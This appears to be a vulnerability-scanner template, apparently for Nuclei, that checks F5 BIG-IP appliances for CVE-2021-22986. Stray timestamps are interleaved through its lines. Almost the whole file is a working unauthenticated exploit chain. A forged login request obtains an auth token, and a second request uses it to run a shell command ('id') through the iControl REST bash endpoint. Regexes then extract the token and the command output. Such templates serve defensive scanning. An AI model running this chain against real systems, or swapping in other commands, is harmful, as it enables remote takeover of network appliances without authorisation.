2021-03-21 16:05:23 +00:00
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id: CVE-2021-22986
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info:
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name: F5 BIG-IP iControl REST unauthenticated RCE
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author: Harsh Jaiswal (@rootxharsh) & Rahul Maini (@iamnoooob)
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severity: critical
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tags: bigip,cve,cve2021,rce
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description: The iControl REST interface has an unauthenticated remote command execution vulnerability.
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2021-03-22 12:51:42 +00:00
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reference: https://attackerkb.com/topics/J6pWeg5saG/k03009991-icontrol-rest-unauthenticated-remote-command-execution-vulnerability-cve-2021-22986
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advisory: https://support.f5.com/csp/article/K03009991
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2021-03-21 16:05:23 +00:00
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requests:
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- raw:
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- |
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POST /mgmt/shared/authn/login HTTP/1.1
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Host: {{Hostname}}
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Accept-Language: en
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Authorization: Basic YWRtaW46
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Content-Type: application/json
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Cookie: BIGIPAuthCookie=1234
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Connection: close
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{"username":"admin","userReference":{},"loginReference":{"link":"http://localhost/mgmt/shared/gossip"}}
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- |
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POST /mgmt/tm/util/bash HTTP/1.1
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2021-03-21 16:18:27 +00:00
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Host: {{Hostname}}
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2021-03-21 16:05:23 +00:00
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Accept-Language: en
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X-F5-Auth-Token: §token§
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Content-Type: application/json
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Connection: close
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{"command":"run","utilCmdArgs":"-c id"}
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extractors:
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- type: regex
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part: body
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internal: true
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name: token
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group: 1
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regex:
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- "([A-Z0-9]{26})"
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- type: regex
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part: body
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group: 1
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regex:
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- "\"commandResult\":\"(.*)\""
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matchers:
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- type: word
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words:
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- "commandResult"
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- "uid="
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condition: and
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